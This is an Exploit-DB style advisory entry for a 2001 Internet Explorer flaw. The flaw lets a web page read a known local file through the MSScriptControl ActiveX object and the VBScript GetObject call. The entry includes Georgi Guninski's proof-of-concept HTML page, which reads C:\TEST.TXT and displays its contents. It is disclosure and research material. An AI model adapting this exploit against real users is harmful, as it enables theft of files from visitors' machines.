Security bug in Internet Explorer - MSScriptControl.ScriptControl

vendor:

Internet Explorer

by:

Georgi Guninski

7.5

CVSS

HIGH

Remote File Retrieval

200

CWE

Product Name: Internet Explorer

Affected Version From: Internet Explorer 5.0

Affected Version To: Internet Explorer 6.0

Patch Exists: NO

Related CWE: N/A

CPE: a:microsoft:internet_explorer

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2001

Security bug in Internet Explorer – MSScriptControl.ScriptControl

Internet Explorer contains a flaw which could enable a remote web site operator to retrieve a known file from a visiting user's system. If a specially formed script containing GetObject function with the known path to an existing file is embedded on a web page. Once the target user opens the web page, IE will return the contents of the file back to the web server.

Mitigation:

Disable ActiveX controls in Internet Explorer, or use a different web browser.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/2833/info

Internet Explorer contains a flaw which could enable a remote web site operator to retrieve a known file from a visiting user's system.

If a specially formed script containing GetObject function with the known path to an existing file is embedded on a web page. Once the target user opens the web page, IE will return the contents of the file back to the web server.

It may be possible to execute arbitrary commands, although it has not been confirmed. 

<HTML>
<HEAD>
<TITLE>
Security bug in Internet Explorer - MSScriptControl.ScriptControl
</TITLE>
</HEAD>
<BODY>
<H3>
Security bug in Internet Explorer - MSScriptControl.ScriptControl
</H3>
<BR>
<p>Legal Notice:
<br>This Advisory and Demonstration is Copyright (c) 2001 Georgi Guninski. You may distribute
it unmodified. You may not modify it and distribute it or distribute parts
of it without the author's written permission.
<p>Disclaimer:
<br>The opinions expressed in this advisory and program are my own and
not of any company.
<br>The usual standard disclaimer applies, especially the fact that Georgi
Guninski
<br>is not liable for any damages caused by direct or&nbsp; indirect use
of the information or functionality provided by this advisory or program.
<br>Georgi Guninski, bears no responsibility for content or misuse of this
advisory or program or any derivatives thereof.
<BR>
<h2>
Wait a few seconds.
</h2>
<br>
Read the <A HREF="scractx.html">Advisory</A> for more information.

<script>
alert("This script reads C:\\TEST.TXT\nYou may need to create it\n")
v=new ActiveXObject("MSScriptControl.ScriptControl.1");
v.Language="VBScript";
x=v.eval('GetObject("c:/test.txt","htmlfile")');
setTimeout("alert(x.body.outerHTML);",2000);
</script>

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